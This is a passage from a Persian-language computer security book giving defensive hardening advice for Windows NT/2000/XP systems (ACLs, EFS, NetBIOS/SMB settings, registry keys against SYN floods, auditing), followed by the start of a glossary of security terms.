سیستمهای Windows می‌توانند از دو نوع سیستم فایل استفاده کنند: سیستمهای فایل مبتنی بر FAT (FAT، VFAT و FAT32) که با تمام سیستم‌عاملهای مایکروسافت سازگارند، و سیستم فایل NTFS که تنها در سیستمهای مبتنی بر Windows NT پشتیبانی می‌شود. در این میان تنها NTFS است که مکانیزمی برای برقراری امنیت در سطح سیستم فایل دارد. سیستم فایل FAT هیچ تدبیری در زمینهٔ کنترل دسترسی یا مالکیت فایلها ندارد و نباید از آن در هیچ سیستم حساسی استفاده کرد.

دسترسی به فایلها و شاخه‌ها در سیستمهای NTFS از طریق فهرستهای کنترل دسترسی (ACLها) مدیریت می‌شود. ACLها عموماً تعیین می‌کنند که چه مجوزهایی (خواندن، نوشتن، اجرا، دیدن محتویات، تغییر، کنترل کامل، و یا موارد دیگر) به چه گروههایی از کاربران داده شده است. هر شیء درون سیستم فایل (و درون windows registry) یک ACL مخصوص به خود دارد و یا خصوصیات ACL شاخه بالایی خود را به ارث می‌برد.

سیستم ACL یک ابزار امنیتی قدرتمند و پیچیده است که نیازمند مطالعات زیادی می‌باشد. مایکروسافت چند قالب امنیتی ارائه می‌دهد که هرکدام برای شاخه‌های سیستمی و کلیدهای registry، ACLهای مناسب ارائه می‌دهند، ولی شما ممکن است بخواهید محدودیت بیشتری اعمال کنید.

رمزنگاری

Microsoft Windows یک کتابخانهٔ یکپارچه به نام CryptoAPI برای پشتیبانی از رمزنگاری ارائه داده است. در سیستم فایل NTFS، فایلها و شاخه‌ها را می‌توان با ابزار cipher.exe رمزگذاری کرد، که یک *سیستم فایل رمزشدهٔ نامرئی* (Transparent EFS)[۳۵۶] را ایجاد می‌کند. مبنای EFS بر پایهٔ رمزگذاری کلید عمومی بنا نهاده شده و درنتیجه کاربران می‌توانند با ارائه کلید خصوصی مناسب، به داده‌های رمزشدهٔ خود دست یابند. علاوه بر این می‌توان EFS را طوری تنظیم کرد که درصورت گم شدن کلید، راهبر سیستم بتواند داده‌های رمزشده را بازیابی کند. (این مسئله بسته به سیاستها ممکن است سطح امنیت را افزایش یا کاهش دهد.)

---

354 *Baseline Security Analyzer*
355 *Computer Management*
356 *Transparent Encrypted File System*

شبکه‌های TCP/IP

قبل از Windows 2000

Microsoft Windows تا قبل از رواج گستردهٔ TCP/IP از یک مدل شبکه‌ای Ethernet *نظیر به نظیر*[۳۵۷] پشتیبانی می‌کرد (NetBIOS از طریق پروتکل انتقال NetBEUI). باقیماندهٔ NetBIOS را می‌توان در خدمات چاپگری و اشتراک فایل مایکروسافت دید، که بصورت NetBIOS از طریق TCP/IP (گاه معروف به NBT) پیاده‌سازی شده است. به این پروتکل اشتراک فایلها *بلوک پیام سرویس‌دهنده* (SMB)[۳۵۸] یا CIFS می‌گویند. RFCهای شمارهٔ ۱۰۰۱ و ۱۰۰۲ بطور دقیق NetBIOS از طریق TCP/IP را توصیف کرده‌اند.

NetBIOS دارای پروتکلهای تصدیق هویت و تشخیص نام میزبان مخصوص به خود می‌باشد. در ساده‌ترین مدل، میزبانهای (گره‌های) NetBIOS با استفاده از بسته‌های عام‌گستر، همدیگر را پیدا می‌کنند و نام خود را در شبکه ثبت می‌نمایند. این روش علاوه بر مشکل مقیاس‌پذیری در شبکه‌های بزرگ، یک مشکل عمدهٔ امنیتی نیز دارد و آن اینکه در این روش هر گره براحتی می‌تواند یک نام ثبت‌شده را بدزدد و خود را بجای آن جا بزند.

یک حالت ایمن‌تر این است که گره‌های NetBIOS به صورت نظیر به نظیر با میزبانهایی که بعنوان *گره‌های سرویس نام*[۳۵۹] NetBIOS (گاه معروف به سرویس‌دهنده‌های WINS) درنظر گرفته شده‌اند ارتباط برقرار کنند و جهت ثبت نام و جستجو برای نامها آنان را مورد استفاده قرار دهند، و برای پخش بسته‌ها در سطح NetBIOS با گره‌های توزیع datagram ارتباط برقرار کنند. سرویس‌دهنده‌های نام NetBIOS در برابر گمراه‌سازی نامها توسط ماشینها محافظت بعمل می‌آورد. بعلاوه مقدار کلید
\HKEY_LOCAL_MACHINE\CurrentControlSet\Services\Netbt\Parameters\NoNameReleaseOnDemand
در registry را می‌توان برابر ۱ گذاشت تا از پاسخ دادن سرویس‌دهنده‌ها به درخواستهای اعلام نام (که احتمالاً از طرف یک مهاجم برای بدست آوردن نام یک سرویس‌دهنده و جا زدن خودش به جای وی فرستاده شده است) جلوگیری شود.

در بسیاری موارد، کاربران متقاضی استفاده از یک منبع باید ابتدا به سرویس‌دهندهٔ SMB که آن منبع را در اختیار دارد وارد شوند. روند ورود در نگارشهای جدید SMB با استفاده از تصدیق هویت به روش پرسش و پاسخ صورت می‌گیرد.[۳۶۰] وقتی کاربری درخواست ورود می‌دهد، سرویس‌دهندهٔ SMB یک رشتهٔ متنی یکتا بعنوان پرسش برای سرویس‌گیرنده می‌فرستد. سرویس‌گیرنده این رشته را با استفاده از کلید نشستی که از روی درهمریختهٔ رمزنگاری رمز عبور کاربر محاسبه می‌شود رمزگذاری می‌کند و آنرا بعنوان پاسخ به سرویس‌دهندهٔ SMB باز می‌گرداند. سرویس‌دهندهٔ SMB نیز همان عملیات را انجام می‌دهد و نتیجه را با جواب سرویس‌گیرنده مقایسه می‌کند. اگر ایندو یکسان باشند، هویت کاربر تصدیق می‌شود. شکل دقیق محاسبات بستگی به گویش مورد استفاده از SMB دارد؛ و درحال حاضر دو گویش اصلی (LM و NT) تعریف شده‌اند.

توجه داشته باشید که این به معنای این است که سرویس‌دهندهٔ SMB (یا سرویس‌دهندهٔ تصدیق هویت دیگری که با آن در ارتباط است) درهمریختهٔ رمز عبور کاربران (ولی نه متن‌سادهٔ رمز عبور) را در اختیار دارد. اگر این سرویس‌دهنده به دست مهاجمان بیافتد، درهمریختهٔ تمام رمزهای عبور کاربران افشا می‌شود (و ممکن است مهاجم بتواند خود را بعنوان یک از کاربران جا بزند و به سرویس‌دهندهٔ SMB متصل گردد). از طرف دیگر این رویکرد دارای این مزیت است که رمز عبور، چه بصورت متن‌ساده و چه بصورت درهمریخته از هیچ کجای شبکه عبور نمی‌کند. درنتیجه سرویس‌دهندهٔ تصدیق هویت SMB باید مثل کنترلگرهای دامنهٔ Kerberos مورد محافظت قرار گیرد.

---

357 *Peer to Peer*
358 *Server Message Block*
359 *Name Service Nodes*
۳۶۰ *ویرایشهای قدیمی SMB (مثل نسخهٔ مورد استفاده در Windows for Workgroups) اجازه می‌دادند رمزعبورها بصورت متن‌ساده در شبکه فرستاده شوند.*

اگر از اشتراک فایلهای Windows استفاده نمی‌کنید، "NetBIOS از طریق TCP/IP" را در تنظیمات پیشرفتهٔ TCP/IP کاملاً غیرفعال کنید. اگر تمام ماشینهای شبکه از نسخه‌های جدیدتر پروتکلهای NetBIOS/SMB پشتیبانی می‌کنند، باید آنها را طوری تنظیم کنید که تنها به درخواستهایی پاسخ دهند که بر اساس آخرین ویرایش پروتکل (در بیشتر موارد NTLMv2) آمده‌اند تا بدینصورت جلوی بهره‌برداری مهاجمان از نسخه‌های آسیب‌پذیر قدیمی‌تر گرفته شود. اگر برای ادارهٔ سیستم فایل راهبری از راه دور مورد نیاز نیست، به کلید

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters\AutoShareWKS

در registry مقدار ۰ بدهید تا آنرا غیرفعال کرده باشید.

Windows را می‌توان طوری پیکربندی کرد که کاربران راه دور نه‌تنها به فایلها بلکه به کلیدهای registry نیز دسترسی داشته باشند. این مجوز امنیتی روی کلید

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurePipeServers\winreg

قرار دارد و تعیین می‌کند که کدام کاربران می‌توانند از راه دور registry را تغییر دهند. اگر نیاز به دسترسی از راه دور به registry دارید، این گروه باید تنها شامل راهبران سیستم باشد، و در غیر اینصورت باید شامل هیچکس نباشد. همچنین می‌توان سرویس دسترسی راه دور به registry را بالکل غیرفعال کرد.

تنظیمات پیشرفتهٔ TCP/IP برای کارتهای شبکه در سیستمهای مبتنی بر Windows NT دارای یک صافی ساده برای بسته‌ها است که بر اساس پورت مقصد بسته‌های UDP یا TCP به آنها اجازهٔ عبور می‌دهد، و همچنین می‌تواند بسته‌های غیر IP را نیز غربال کند.

از Windows 2000 به بعد

دامنه‌های Windows 2000 نسبت به نسخه‌های قبل امکان کنترل بسیار بیشتری روی سرویس‌گیرنده‌های عضو دامنه ارائه می‌دهند. مثلاً هنگام پیوستن یک ایستگاه کاری به دامنه، سیاستهای امنیتی دامنه می‌تواند بر سیاستهای امنیتی محلی آن ایستگاه کاری سوار شود، که این امر می‌تواند در استحکام امنیت ایستگاههای کاری (بصورت متمرکز) مفید باشد.

Windows 2000 و سیستمهای بعد از آن از kerberos بعنوان لایهٔ اصلی امنیت شبکه استفاده می‌کنند، هرچند هنوز هم از NetBIOS پشتیبانی می‌نمایند و لذا توصیه‌های قبلی باز هم کاربرد دارند. kerberos – همانطور که قبلاً در این کتاب گفته شد – تصدیق هویت و تأیید اعتبار را بصورت ایمن برای خدمات شبکه فراهم می‌کند. در Windows 2000 کنترلگر اصلی دامنه (primary domain controller) فرماندهی kerberos را عهده‌دار است.

Windows 2000 همچنین از IPsec برای ایجاد شبکه‌های خصوصی مجازی (VPNها) پشتیبانی می‌کند. برای اتصالات سرویس‌گیرنده و سرویس‌دهنده می‌توان IPsec را الزامی نمود. پیکربندی IPsec در برنامهٔ مدیریت سیاستهای امنیتی IP انجام می‌شود. ویرایشهای قدیمی‌تر Windows از یک پروتکل خاص مایکروسافت (PPTP) برای ایجاد تونلهای VPN استفاده می‌کردند. در اکثر موارد استفاده از IPsec ترجیح دارد، مگر اینکه بخواهید سیستمهای قدیمی‌تر را نیز پشتیبانی کنید.

Windows XP یک صافی وابسته به وضعیت بسته‌ها به نام *غربال اتصال اینترنت* (ICF)[۳۶۱] نیز در خود دارد که برای سرویس‌گیرنده‌های اینترنت ایده‌آل است. در این صافی بطور پیش‌فرض فقط بسته‌هایی اجازهٔ عبور می‌یابند که مربوط به اتصالاتی باشند که توسط سرویس‌گیرنده آغاز شده‌اند.

361 Internet Connection Filter

محافظت از حسابهای کاربری

سیستمهای مبتنی بر Windows امروزی برای حسابهای کاربری از رمزهای عبور طولانی پشتیبانی می‌کنند. کاربران خود را به استفاده از رمزهای عبور طولانی‌تر تشویق کنید، و الزامات پیچیدگی و تاریخ انقضا را برای رمزهای عبور اجباری کنید تا خطر حدس زدن رمزهای عبور توسط مهاجمان کاهش یابد. در سیستمهایی که عضو دامنه‌های Windows 2000 هستند رمزهای عبور در کنترلگر دامنه ذخیره و سپس به روش معمول kerberos مدیریت می‌شوند. قابلیت قفل‌شدن حسابها (پس از چندبار تلاش برای ورود با رمز عبور نادرست) را نیز می‌توان فعال کرد تا تلاشهایی که برای حدس رمزهای عبور انجام می‌شود هزینهٔ بیشتری داشته باشند.

در بیشتر سیستمهای Windows، ممیزی امنیتی بطور پیش‌فرض فعال نیست. ممیزی را می‌توان در سیاست امنیتی محلی (یا سیاست امنیتی دامنه) پیکربندی کرد. فعال کردن ممیزی ورود به حسابها برای نظارت بر تلاشهایی که برای ورود به سیستم انجام می‌شود مفید است. رخدادهای ممیزی‌شده را می‌توان در نرم‌افزار "نمایشگر رخدادها" مشاهده کرد. ثبت کردن انواع مختلفی از رخدادهای ناموفق (مانند کاربرد ناموفق امتیازات) نیز می‌تواند مفید باشد. به ثبتها حجم کافی از دیسک اختصاص دهید (از طریق نمایشگر رخدادها)، و دسترسی حساب کاربری مهمان به ثبتها را ببندید.

محافظت در برابر تهدیدات برنامه‌ای

سیستمهای مبتنی بر Windows NT غالباً خدمات فعال زیادی دارند. خدمات در Windows مثل daemonها در Unix پردازه‌هایی در پس‌زمینه می‌باشند که توابعی را در اختیار برنامه‌ها می‌گذارند. در برخی موارد این خدمات در کنار ارائه خدمات دسترسی راه دور (مانند telnet) یا فراخوانی راه دور روالها، از طریق شبکه برای افراد بیرونی امکان دسترسی به منابع را نیز فراهم می‌آورند. برای مثال سرویس Messenger به ماشینهای راه دور امکان می‌دهد پنجره‌های اخطاری را در ماشینهای محلی باز کنند و امروز این قابلیت توسط نویسندگان هرزنامه‌ها مورد سوء استفاده قرار گرفته است.

با استفاده از برنامه Services در نرم‌افزار مدیریت رایانه، اطمینان حاصل کنید که تمام خدمات غیرضروری متوقف یا غیرفعال هستند. در سرویس‌گیرنده‌هایی که فایل به اشتراک نمی‌گذارند می‌توان خدمات telnet، remote registry access و بسیاری دیگر از خدمات دسترسی راه دور را غیرفعال کرد تا نقاط آسیب‌پذیری (حتی اگر شده به قیمت مدیریت متمرکز) کاهش پیدا کنند.

با استفاده از سیاست امنیتی گروهی یا محلی، اطمینان حاصل کنید کاربران گمنام بدون مجوزهای صریح امکان دسترسی به منابع حیاتی ندارند. (این تنظیمات در Windows 2000 در قسمت Security Options در بخش Local Policies قرار دارد.)

جلوگیری از حملات تخریب سرویس

پردازه‌ها و حافظه

از طریق Task Manager می‌توان به پردازه‌های Windows نظارت کرد، به آنها پایان بخشید، و یا اولویت پردازه‌ها را به یکی از شش سطح، از "پایین" تا "بلادرنگ" تغییر داد. Task Manager همچنین می‌تواند حافظهٔ مصرفی هر پردازه را نمایش دهد. از آنجا که سیستمهای Windows به ندرت در محیطهای چندکاربره و اشتراک زمانی بکار می‌روند، حملات سرریز حافظه و پردازه معمولاً بوسیلهٔ یک برنامهٔ آشکار انجام می‌شود که می‌تواند از طریق Task Manager کشف و از حافظه بیرون انداخته شود.

دیسکها

NTFS دارای یک سیستم quota است که می‌تواند برای جلوگیری از سرریز شدن دیسکها و partitionها بکار رود. این ویژگی نیز بیشتر برای ایستگاههای کاری سرویس‌گیرنده مفید است، چراکه سرویس‌دهنده‌ها معمولاً کاربری غیر از راهبران سیستم ندارند و برنامه‌های سرویس‌دهنده نیز معمولاً برای اجراشدن به امتیازات راهبری نیاز دارند.

شبکه

سیستمهای مبتنی بر Windows NT برای جلوگیری از برخی انواع حملات تخریب سرویس شبکه‌ای مانند سیل SYN دارای تنظیمات زیادی در registry هستند؛ اما در بسیاری موارد این تنظیمات بطور پیش‌فرض فعال نمی‌باشند. تنظیماتی که باید بررسی کنید در مسیر \HKEY_LOCAL_MACHINE\CurrentControlSet\Services\Tcpip\Parameters قرار دارند و کلیدهای آنها عبارتند از SynAttackProtect، TcpMaxHalfOpen، و TcpMaxHalfOpenRetried.

وقوع انواع دیگری از حملات تخریب سرویس را می‌توان با غیرفعال کردن قابلیت "automatic detection and discovery" بسیار دشوار کرد. برای جلوگیری از واکنش عجیب سیستم به شرایط غیرعادی شبکه باید به کلیدهای EnablePMTUDiscovery، EnableDeadGWDetect و EnableICMPRedirects مقدار ۰ داد. همچنین واسطها را باید طوری تنظیم کرد که بطور خودکار به جستجوی مسیریاب نپردازند و همواره مسیرهای ایستا و از پیش تعریف‌شده را مورد استفاده قرار دهند.

پیوستها

بخش ششم

پیوست ۱. واژه‌نامه اصطلاحات

پیوست ۲. کتابنامه

پیوست ۳. منابع الکترونیکی

پیوست ۴. سازمانهای امنیتی

پیوست ۵. منابع چاپی

پیوست ۱
واژه‌نامهٔ اصطلاحات

آزمون نفوذپذیری[۳۶۲]
یکی از بررسیهایی که معمولاً قسمتی از اعطای گواهی به سیستم انجام می‌پذیرد و طی آن ارزیابها تلاش می‌کنند با فریب دادن سیستم امنیتی، راههای نفوذ به لایه‌های مختلف منابع سیستم را کشف کنند.

آسیب‌پذیری[۳۶۳]
یک نقص یا ضعف در طراحی، پیاده‌سازی، یا عملکرد یک سیستم که می‌تواند توسط مهاجمان مورد بهره‌برداری قرار بگیرد و منجر به نقض سیاست امنیتی سیستم شود.

ابزار جاسوسی[۳۶۴]
برنامه‌ای که بوسیلهٔ مهاجمان برای دزدیدن رمزهای عبور و سایر داده‌ها بکار می‌رود.

ارائه‌دهندهٔ خدمات اینترنتی (ISP)[۳۶۵]
شرکتی که یک فرد یا سازمان از طریق آن به اینترنت دسترسی پیدا می‌کند. نوعاً ISPها علاوه بر فراهم کردن دسترسی به اینترنت، خدمات پست الکترونیکی و میزبانی وب را نیز ارائه می‌دهد. برخی ISPها همچنین خدمات ذخیرهٔ داده‌ها در خارج از اداره و خدمات پشتیبانی نیز ارائه می‌کنند.

ارزیابی وابسته به حالت[۳۶۶]
روشی با آمیزه‌ای از فناوریهای proxy و غربال‌سازی متناوب، بسته به تهدیدهای موجود و یا نیاز به سرعت در کار.

اسبهای تراوا[۳۶۷]
یک برنامهٔ رایانه‌ای که بنظر عملکرد مفید و مشروعی دارد، اما حاوی یک عملکرد مخفی و احتمالاً بدخواهانه نیز می‌باشد که گاهی با بهره‌برداری از سیستمی که روی آن نصب است، ممکن است بتواند مکانیزمهای امنیتی را پشت سر بگذارد.

استاندارد رمزگذاری داده‌ها (DES)[۳۶۸]
یک استاندارد رمزگذاری که توسط EMB ساخته شده و سپس بوسیلهٔ مؤسسهٔ ملی استانداردها بررسی و در سال ۱۹۷۷ انتخاب شد. استاندارد DES که در ۲۰ سال گذشته در هر دو بخش دولتی و خصوصی مورد استفاده بوده، امتحان خود را بخوبی پس داده است.

استراق‌سمع تلفنی[۳۶۹]
تهاجمی که طی آن داده‌ها و سایر اطلاعات موجود در یک خط سیستم ارتباطی از میان راه دزدیده می‌شود. این اصطلاح در اصل برای ارتباط مکانیکی به یک رسانای الکتریکی بکار می‌رفته، اما هم‌اکنون به خواندن اطلاعات از هر واسطی که برای برقراری ارتباط مورد استفاده قرار می‌گیرد (حتی دستیابی به اطلاعات بطور مستقیم از طریق یک گره، *دروازه*[۳۷۰] و یا *سوئیچ*[۳۷۱]) اطلاق می‌شود.

امتیاز حداقل[۳۷۲]
طراحی یک سیستم بگونه‌ای که با حداقل امتیازات دسترسی کار کند. این طراحی، سطح اعتبار تصدیق‌شده برای انجام فعالیتهای مختلف را کاهش می‌دهد، و احتمال اینکه عملکرد یک کاربر با حقوق دسترسی بالا منجر به فعالیتهای غیرمجاز و درنتیجه رخنهٔ امنیتی شود را پایین می‌آورد.

امضای معتبر[۳۷۳]
یک امضا، خصوصاً یک امضای دیجیتالی، که چون می‌تواند مورد شناسایی و تأیید قرار گیرد، می‌توان به آن اعتماد کرد.

362 Penetration Test
363 Vulnerability
364 Snooping Tool
365 Internet Service Provider
366 Stateful Evaluation

367 Trojan Horses
368 Data Encryption Standard
369 Wiretapping
370 Gateway
371 Switch
372 Least Privilege
373 Authentic Signature

اطلاعات در مورد تعاریف و الزامات عملکرد و کارایی 802.11 در سند زیر یافت می‌شود:

http://grouper.ieee.org/groups/802/11/Documents/DocumentArchives/1992-docs/1192091.DOC

امنیت بر پایهٔ محیط[۳۷۴]

فنی برای حفاظت از شبکه با کنترل دسترسی به تمام نقاط ورودی و خروجی موجود در آن.

اینترنت

یک مجموعه از شبکه‌های متفاوت و در ارتباط متقابل که توسط نهادهای مختلف تجاری و دولتی بوجود آمده است. ریشه‌های اینترنت در اوایل سال ۱۹۶۹ – هنگامیکه ARPANET شکل گرفت – بوجود آمد. ARPA علامت اختصاری *سازمان پروژه‌های تحقیقاتی پیشرفته*[۳۷۵] است که بخشی از وزارت دفاع ایالات متحده محسوب می‌شد. یکی از اهداف ARPANET تحقیق در مورد سیستمهای توزیع‌شدهٔ رایانه‌ای برای کاربرد در اهداف نظامی بود. اولین پیکربندیِ آن متشکل از ۴ رایانه بود و به این منظور به طراحی در آمده بود که نشان دهد می‌توان با استفاده از رایانه‌های پراکنده در یک منطقهٔ وسیع، شبکه بوجود آورد. گسترش شبکه‌های باز در اواخر دههٔ ۱۹۸۰ نیازمند مدل جدیدی از ارتباطات بود. ادغام انواع مختلف سیستمها در محیطهای مختلط، به یک مبدل بهتر میان سیستم‌عاملها و یک راهکار غیر انحصاری برای ساخت شبکه‌ها نیاز داشت. پروتکل *TCP/IP* (پروتکل ارتباطات مخابراتی/پروتکل اینترنت)[۳۷۶] برای این منظور در آنزمان بهترین راه‌حل را ارائه داد.

بمب منطقی[۳۷۷]

برنامه‌ای که توسط یک مهاجم وارد نرم‌افزار می‌شود. بمب منطقی تا پیش از رویارویی با یک شرایط ازپیش تعریف‌شده، نهفته باقی می‌ماند، و پس از آن یک عمل غیرمجاز را انجام می‌دهد.

374 Perimeter-Based Security
375 Advanced Research Projects Agency
376 Telecommunications Protocol / Internet Protocol
377 Logic Bomb

بمب پست الکترونیکی[۳۷۸]

برنامه‌ای که اگر به اجرا در آید، پیامهای فراوانی به آدرسِ داده‌شده می‌فرستد تا دیسک را پر کند و یا سرویس‌دهندهٔ پست الکترونیکی یا وب را از کار بیاندازد.

پردازش ثبت[۳۷۹]

روال خلاصه‌سازی وقایع ثبت‌شده، بررسی ثبتهای انجام‌شده، و یا جستجو بدنبال وقایع کلیدی.

پروتکل[۳۸۰]

هریک از روشهای مورد توافق عمومی در ارتباطات رایانه‌ای.

پروتکل معادل بی‌سیم (WEP)

این پروتکل برای پیاده‌سازی در شبکه‌های WLAN طراحی شده بود تا شده بود تا خصوصیات امنیتی شبکه‌های سیمی را بوجود آورد (ویژگیهایی چون محرمانگی، کنترل دسترسی، و یکپارچگی داده‌ها)، ولی به دلیل آشکار شدن یک نقص امنیتی در آن، کاربرد آن معمولاً با تدابیر ویژهٔ دیگری همراه می‌شود.

پست الکترونیکی[۳۸۱]

معادل رایانه‌ای نامه‌های پستی؛ که ممکن است توسط هر شخصی که به اینترنت متصل است فرستاده و یا دریافت شود. از نقطه‌نظر اینترنت، تمام نامه‌های الکترونیکی متشکل از *متون چاپی*[۳۸۲] (ASCII) هستند.

پهنای باند[۳۸۳]

ظرفیت یک اتصال داده‌ای شبکه که غالباً برای انتقالات دیجیتالی با واحد *هزار بیت در ثانیه* (kbps)[۳۸۴] اندازه‌گیری می‌شود.

تأیید اعتبار[۳۸۵]

فرآیند احراز میزان حق دسترسی قانونی و مشروع یک کاربر، پردازه یا برنامه، طبق آنچه که در سیاستهای امنیتی شرکت وجود دارد. معمولاً تأیید اعتبار پس از تصدیق هویت کاربر

378 Email Bomb
379 Log Processing
380 Protocol
381 Email
382 Printable Text
383 Bandwidth
384 Kilo Bits Per Second
385 Authorization

انجام می‌شود، و پس از آن می‌توان به کاربر سطوح مختلفی از دسترسی را اعطا کرد.

تأیید اعتبار دسترسی[۳۸۶]

مجوز فرآیندی که طی آن کاربران، برنامه‌ها و ایستگاه‌های کاری برای دسترسی مورد بررسی و تأیید قرار می‌گیرد.

تابلوی اعلانات[۳۸۷]

یک محیط برای تعامل دانش که در آن کاربران اینترنت قادرند پیام بنویسند، پیامهای سایر کاربران را بخوانند، و تبادل برنامه یا فایل انجام دهند.

تحلیل مخاطره[۳۸۸]

ارزیابی منابع اطلاعاتی، کنترلهای موجود، و آسیب‌پذیریهای سیستمهای رایانه‌ای یک سازمان. تحلیل مخاطره یک تخمین از ارزش مالی آسیبهای وارده بدست می‌دهد و کنترلهای لازم برای بهبود را مشخص می‌سازد.

تخریب سرویس[۳۸۹]

نوعی حمله که زمانی رخ می‌دهد که رایانه‌های متصل به اینترنت با پیامهای بی‌مصرف بسیار زیادی بمباران می‌شوند، بگونه‌ای که تمام وقت و توان خود را صرف پاسخ به این پیامها می‌کنند و درنتیجه درخواستهای کاربران واقعی مجال دریافت پاسخ پیدا نمی‌نمایند.

تسخیر[۳۹۰]

نقض سیاستهای امنیتی یک شرکت توسط یک مهاجم که می‌تواند منجر به تغییر، تخریب، و یا سرقت اطلاعات شود.

تصدیق هویت[۳۹۱]

فرآیند احراز حق قانونی و مشروع برای یک سرویس یا کاربر پیش از حق دسترسیِ آن به اطلاعاتی که درخواست کرده است. طی این فرآیند، کاربر یک نام یا شمارهٔ حساب (برای شناسایی و معرفی هویت) و یک رمز عبور (بعنوان یک نشان برای اثبات هویت خود) وارد می‌کند.

386 Access Authorization
387 Bulletin Board
388 Risk Analysis
389 Denial of Service
390 Compromise
391 Authentication

تصدیق هویت دو عاملی[۳۹۲]

مبنای تصدیق هویت دو عاملی آن چیزی است که کاربر می‌داند (عامل اول) بعلاوهٔ چیزی که کاربر آنرا در اختیار دارد (عامل دوم). برای دسترسی به یک شبکه، کاربر باید هر دو عامل را بر آورد، همانطور که هنگام استفاده از یک دستگاه خودپرداز باید کارت مخصوص آنرا داشته باشد و شمارهٔ شناسایی شخصی (PIN) خود را نیز وارد کند. کاربران برای اینکه در طول فرآیند پرسش و پاسخ تصدیق هویت شوند، باید این اطلاعات محرمانه را داشته باشند.

تصویر آنی[۳۹۳]

یک نسخه از مقادیر مختلف حافظهٔ یک رایانه (حافظهٔ اصلی، ثبّاتهای خاص، و ...) در یک زمان مشخص. تصویر آنی می‌تواند با ضبط اطلاعاتی که معمولاً قبل از تکمیل حمله توسط مهاجم پاک می‌شود، جهت شناسایی مهاجمان بکار رود.

تهاجم[۳۹۴]

تلاش برای خدشه‌دار کردن امنیت سیستم ؛ تلاش عمدی برای تخریب خدمات حفاظتی و نقض سیاستهای امنیتی یک سیستم.

تهدید[۳۹۵]

هر چیزی که توانایی خدشه‌دار کردن یکپارچگی و صحت، محرمانگی، و در دسترس بودن داده‌ها را داشته باشد.

تیم واکنش به فوریتهای رایانه‌ای (CERT)[۳۹۶]

این تیم در دانشگاه *کارنی ملون*[۳۹۷] و بعد از حملهٔ یک کرم *اینترنتی*[۳۹۸] در سال ۱۹۸۸ ایجاد شد.

ثبت[۳۹۹]

ذخیرهٔ اطلاعات در مورد وقایعی که بعنوان مثال روی دیوارهٔ آتش یا شبکه واقع می‌شوند.

392 Two-Factor Authentication
393 Snapshot
394 Attack
395 Threat
396 Computer Emergency Response Team
397 Carengie Mellon
398 Internet Worm
399 Logging

ثبت‌کنندهٔ صفحه‌کلید[۴۰۰]

برنامه‌ای که هرآنچه روی صفحه‌کلید تایپ می‌شود را ذخیره می‌کند. این اطلاعات می‌توانند روی دیسک نوشته و یا از طریق اینترنت برای شخصی ارسال شوند. اگر روی یک رایانه برنامهٔ ثبت‌کنندهٔ صفحه‌کلید نصب باشد، هرچه وارد رایانه شود – از جمله نامهای کاربر و رمزهای عبور – ذخیره می‌شود؛ درست مثل زمانیکه هنگام استفادهٔ شما از رایانه، یکنفر از بالای شانهٔتان صفحه‌کلید را زیر داشته باشد.

جرائم رایانه‌ای[۴۰۱]

هر نوع فعالیت غیرقانونی مرتبط با اطلاعات الکترونیکی و تجهیزات رایانه‌ای.

حریم خصوصی[۴۰۲]

حفاظت یک شرکت از افشای داده‌ها توسط گروههای غیرمجاز. تدابیر امنیتی مثل رمزگذاری می‌تواند سطحی از اطمینان خاطر مبنی بر حفاظت از اسرار محرمانهٔ حریم خصوصی در مقابل افشا را ایجاد کند.

حملات برگرفته از اطلاعات[۴۰۳]

صورتی از حمله که به شکل داده‌های ظاهراً بی‌ضرر کدگذاری می‌شود و بوسیلهٔ یک کاربر یا یک نرم‌افزار حمله را انجام می‌گردد. حملات برگرفته از اطلاعات یک مسئله جدی حتی برای سیستمهای حفاظت‌شده هستند؛ چراکه ممکن است در قالب داده به دیواره‌های آتش برسند و حملاتی علیه سیستمهای پشت دیواره‌های آتش شروع کنند.

حملهٔ عنصر داخلی[۴۰۴]

حمله‌ای که از درون یک شبکه حفاظت شده ناشی می‌شود.

درب مخفی[۴۰۵]

روشی برای بلاموضوع کردن روال ورود به سیستم بدست گرفتن کنترل رایانه بدون نیاز به کسب رضایت مالک آن. اگر درب مخفی روی یک رایانهٔ متصل به شبکه نصب شده باشد، ممکن است شخصی با استفاده از اینترنت بتواند بدون تأیید یا آگاهی شما کنترل آن رایانه را در دست بگیرد. درب مخفی همیشه مخرب نیست؛ بعنوان مثال گاهی اوقات در سیستم‌عاملها حسابهای کاربری مخصوصی وجود دارد تا تکنیسینهای بخش پشتیبانی بتوانند خدمات پشتیبانی را از راه دور انجام دهند. اما در عین حال این حسابهای کاربری ممکن است برای تهاجم توسط افراد غیرمجاز نیز بکار روند. درب مخفی با عنوان "trap door" نیز شناخته می‌شود.

در دسترس بودن[۴۰۶]

درصدی از زمان که می‌توان از یک سیستم برای فعالیتهای مختلف استفاده کرد.

دروازه[۴۰۷]

یک پل ارتباطی میان دو شبکه.

دسترسی[۴۰۸]

در شرایطی که امکان دستیابی به رایانه وجود دارد توانایی ورود به محدودهٔ امنیتی، خواندن، نوشتن، اصلاح کردن و یا استفاده از هر یک از منابع سیستم رایانه‌ای را دسترسی می‌نامیم.

دسترسی از راه دور[۴۰۹]

کنترل یک وسیلهٔ رایانه‌ای راه دور از طریق خطوط ارتباطی مثل تلفن معمولی یا شبکه‌های گسترده.

دفاع در عمق[۴۱۰]

یک راهکار امنیتی که در آن هر سیستم شبکه به نوبهٔ خود تا آخرین حد ممکن ایمن می‌شود.

دیوارهٔ آتش[۴۱۱]

یک سیستم حفاظتی که جریان ترافیک ورودی به شبکه‌ها و گاهی میان آنها را کنترل می‌کند. برای دیواره‌های آتش پیکربندیها و کاربردهای مختلفی وجود دارد: صافی‌ها، تقویت‌کننده‌های برنامه‌های کاربردی، رمزگذاری، ایجاد منطقهٔ غیرنظامی (DMZ)، و سایر موارد مشابه. دیواره‌های آتش به دو شکل وجود دارند: دیوارهٔ آتش می‌تواند یک برنامهٔ

---

400 Keyboard Logger
401 Computer Crime
402 Privacy
403 Data-Driven Attacks
404 Insider Attack
405 Backdoor
406 Availability
407 Gateway
408 Access
409 Remote Access
410 Defense in Depth
411 Firewall

نرم‌افزاری باشد که روی رایانه به اجرا در می‌آید، و یا ممکن است یک قطعهٔ مجزای سخت‌افزاری باشد که بر اطلاعات آنچه روی شبکه فرستاده و دریافت می‌شود نظارت می‌کند. دیواره‌های آتش قادرند ارتباطات میان شما و دنیای خارج را تحت کنترل خود داشته باشند، و یا از انتقالات پیش‌بینی‌نشده یا غیرمجاز جلوگیری کنند.

